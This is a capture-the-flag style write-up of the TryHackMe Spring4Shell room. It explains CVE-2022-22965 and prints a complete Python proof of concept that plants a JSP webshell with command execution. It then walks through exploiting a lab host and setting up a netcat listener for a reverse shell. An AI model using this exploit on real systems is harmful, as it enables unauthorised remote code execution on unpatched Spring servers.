Spring4Shell: CVE-2022-22965

Exploiting the Java Spring Framework - https://tryhackme.com/room/spring4shell

Background

In late March 2022, two remote command execution vulnerabilities in the Java Spring framework were made public. The first of these vulnerabilities affects a component of the framework called "Spring Cloud Functions". The second, arguably more serious vulnerability, affects a component in "Spring Core" — the heart of the framework — thus significantly increasing the vulnerability's potential impact and earning it the name "Spring4Shell" (a play on Log4Shell, the name of a brutal vulnerability disclosed at the end of 2021).

Spring4Shell was originally released as an 0-day in a now-deleted thread of Tweets. It was quickly identified as a bypass of the patch for CVE-2010-1622 — a vulnerability in earlier versions of the Spring Framework which allowed attackers to obtain remote command execution by abusing the way in which Spring handles data sent in HTTP requests. In short, the vulnerability allows attackers to upload a "webshell" (a piece of code which accepts commands from the attacker that the webserver is then tricked into executing) to the vulnerable server, achieving remote command execution.\

How does it work?

To understand Spring4Shell, it is important that we understand CVE-2010-1622. Spring MVC (Model-View-Controller) is part of the Spring Framework which makes it easy to develop web applications following the MVC design pattern. One of the features of Spring MVC is that it automatically instantiates and populates an object of a specified class when a request is made based on the parameters sent to the endpoint. In simple terms, this could be abused to overwrite important attributes of the parent class, resulting in remote code execution.

Spring4Shell works along similar lines, bypassing the mitigations that were added to patch CVE-2010-1622. The majority of the exploits for the Spring4Shell vulnerability operate by forcing the application to write a malicious .jsp file (effectively plaintext Java which Tomcat can execute — much like a PHP webserver would execute files with a .php extension) to the webserver. This webshell can then be executed to gain remote command execution over the target.\

Fortunately, despite how commonly used the Spring Framework is, the conditions in which the vulnerability can be exploited are actually fairly limited.\

Limitations

The Spring4Shell vulnerability affects Spring Core before version 5.2, as well as in versions 5.3.0-17 and 5.2.0-19, running on a version of the Java Development Kit (JDK) greater than or equal to 9. The publicly available exploits currently available only work on applications deployed to Apache Tomcat as WARs; however, the Spring Framework maintainers have stated that they believe there may be other ways to exploit the vulnerability.

Current conditions for vulnerability (as stated in Spring's announcement of the vulnerability) can be summarised as follows:

  • JDK 9+

  • A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)\

  • Apache Tomcat as a server for the Spring application, packaged as a WAR

  • A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework\

It is worth noting, however, that these may change over time as other ways to exploit the vulnerability are discovered.

Exploitation

You should always review unknown exploits before running them.

Using this Proof of Concept Python Script:

exploit.py
import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="


    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass




if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)

We can attack a vulnerable web server

Lets look at the source code ctrl + u

<!DOCTYPE HTML>
<html>
    <head> 
        <title>Vulnerable</title>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <script src="/assets/js/font-awesome.js"></script>
        <link rel="icon" type="image/png" href="/assets/favicon.png" />
        <link href="/assets/css/styles.css" rel="stylesheet" />
    </head>
    <body>
        <!-- Masthead-->
        <div class="masthead">
            <div class="masthead-content text-white">
                <div class="container-fluid px-4 px-lg-0">
                    <h1 class="fst-italic lh-1 mb-4">Our Website is Coming Soon</h1>
                    <p class="mb-5">We're working hard to finish the development of this site. Sign up below to receive updates and to be notified when we launch!</p>
                    <form id="contactForm" action="/" method="post">
                        <!-- Email address input-->
                        <div class="row input-group-newsletter">
                            <div class="col"><input class="form-control" required type="email" placeholder="Enter email address..." aria-label="Enter email address..." id="email" name="email" value="" /></div>
                            <div class="col-auto"><button class="btn btn-primary" id="submitButton" type="submit">Notify Me!</button></div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
        <div class="social-icons">
            <div class="d-flex flex-row flex-lg-column justify-content-center align-items-center h-100 mt-3 mt-lg-0">
                <a class="btn btn-dark m-3" target="_blank" href="https://twitter.com/MuirlandOracle"><i class="fab fa-twitter"></i></a>
                <a class="btn btn-dark m-3" target="_blank" href="https://github.com/MuirlandOracle"><i class="fab fa-github"></i></a>
                <a class="btn btn-dark m-3" target="_blank" href="https://www.linkedin.com/in/agcyber/"><i class="fab fa-linkedin"></i></a>
            </div>
        </div>
        <!-- Bootstrap core JS-->
        <script src="/assets/js/bootstrap.bundle.min.js"></script>
    </body>
</html>

Specifically we are looking for the "action" of the contact form (the only POST request available to us). This is found on line 18:

<form id="contactForm" action="/" method="post">

The action is "/", meaning that our target URL will simply be: http://10.10.151.162/.

Note: the trailing slash is very important here!

Attack

Lets check the script inputs real quick

Looks like running ./exploit.py http://10.10.151.162/ should just work

And it looks like we have command execution!

We are definately root!

Lets get a real shell now so we want to get burpsuite open and prepare our shell on our attackbox

On our attack box I am running nc -lvnp 9001

Time to capture the id request in burp

First enable burp in foxy proxy

Then we want to send the request we captured in burp to repeater

After a few tries I found the box has python3

On our web shell we are going to run a python reverse shell from Pentestmonkey

At this point I was having issues with bad characters and getting a reverse/bind shell working. I am not sure if it was a limitation of the environment but I plan on revisiting this.

Last updated